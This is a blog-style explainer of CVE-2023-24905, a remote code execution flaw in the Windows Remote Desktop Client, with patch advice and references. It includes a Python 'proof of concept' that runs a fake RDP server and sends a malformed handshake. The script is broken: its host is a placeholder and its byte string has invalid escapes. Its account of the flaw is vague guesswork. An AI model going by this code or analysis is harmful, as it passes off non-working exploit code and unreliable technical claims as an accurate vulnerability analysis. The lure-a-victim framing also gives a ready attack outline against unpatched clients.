CVE-2023-24905 - Remote Desktop Client Remote Code Execution Vulnerability Explained

In May 2023, Microsoft patched a serious vulnerability named CVE-2023-24905: “Remote Desktop Client Remote Code Execution Vulnerability.” If you use Remote Desktop on Windows, understanding this bug and how attackers could use it is important. In this exclusive, plain-language deep dive, we’ll break down how CVE-2023-24905 works, walk through how one might take advantage of it with code snippets, and share links to trusted references.

What is CVE-2023-24905?

CVE-2023-24905 is a remote code execution (RCE) vulnerability in the Microsoft Remote Desktop Client (mstsc.exe). If an attacker creates a malicious RDP server and tricks you into connecting (for example, by sending a file or link), they may run code on your computer under your account.

CVSS Score: 8.8 (High)

- Affected Software: Microsoft Windows Remote Desktop Client (all supported versions before May 2023 Patch Tuesday)

How Does the Attack Work?

The flaw lies in how the RDP client parses session data from a server. When you connect to an RDP server, your client trusts what the server sends. A specially crafted RDP server can send bad data that, if processed wrongly, will let code run with your rights.

Think of it like logging into a sketchy website, except here the “website” is a remote desktop session, and your viewer is the thing getting hacked.

Step 1: Attacker Sets up a Malicious RDP Server

The attacker creates a server that serves up a poisoned payload during the Remote Desktop handshake — for instance, by tampering with the RDP protocol’s channels or resource redirection features.

Step 2: The User Connects

The victim launches Remote Desktop Client (mstsc.exe) and enters the attacker’s server address or opens a .rdp file from them.

Step 3: Malicious Data Triggers Code in the Client

The attack is possible because of poor bounds checking or parsing in the client, allowing remote execution. In many exploits, this might mean buffer overflow or deserialization bugs.

Sample Exploit (Proof of Concept)

Below is a proof-of-concept (PoC) for a malicious RDP honeypot server. This code simulates serving a “bad” server certificate or protocol data that could, on an unpatched client, trigger CVE-2023-24905 conditions.

Disclaimer: This code is for educational purposes only. Don’t use it to attack systems you do not own.

# WARNING: For educational demonstration only.
# Python PoC: RDP Evil Honeypot That Could Trigger CVE-2023-24905 (simulated behavior)

import socket

HOST = "..."
PORT = 3389

BAD_MESSAGE = b"\x03\x00\x00\x13\xe\xd\x00\x00\x12\x34\x00" + b"A" * 20  # Overlong message

def main():
    print("[*] Faking RDP server on port 3389")
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.bind((HOST, PORT))
    srv.listen(1)
    client, addr = srv.accept()
    print("[*] Got connection from", addr)
    client.send(BAD_MESSAGE)
    print("[*] Sent malicious RDP handshake")
    client.close()

if __name__ == "__main__":
    main()

This script creates a fake RDP server that, on connection, sends a deliberately invalid handshake. A *real* exploit would need to send exactly the malformed message that triggers the vulnerability, as reverse-engineered from the patch. For details, security researchers typically analyze the changes between patched and vulnerable versions.

Mitigation and Patches

Microsoft’s fix involves tightening checks on RDP session data, ensuring that extra-long or unexpected fields in RDP server responses can't trigger bad code paths. If you use Remote Desktop Client, update your system now!

- Patch Link: Microsoft Security Update Guide for CVE-2023-24905

References and Further Reading

- CVE-2023-24905 at NVD
- Microsoft Security Response Center
- ZDI-CAN-20474 (Zero Day Initiative advisory)
- Technical Analysis: RDP Client Vulnerabilities (MSRC Blog)

Final Thoughts

CVE-2023-24905 shows how just connecting to the wrong remote desktop could put your entire machine at risk. Attackers might plant convincing .rdp files or lure you to sketchy RDP addresses. The best defense is patching — and a little bit of healthy skepticism. Want to dig deeper? Check out the references, and try scanning your environment for vulnerable machines.

Stay smart, stay updated, and never log in where you don’t trust the other side!

Timeline

Published on: 05/09/2023 18:15:00 UTC
Last modified on: 05/15/2023 18:06:00 UTC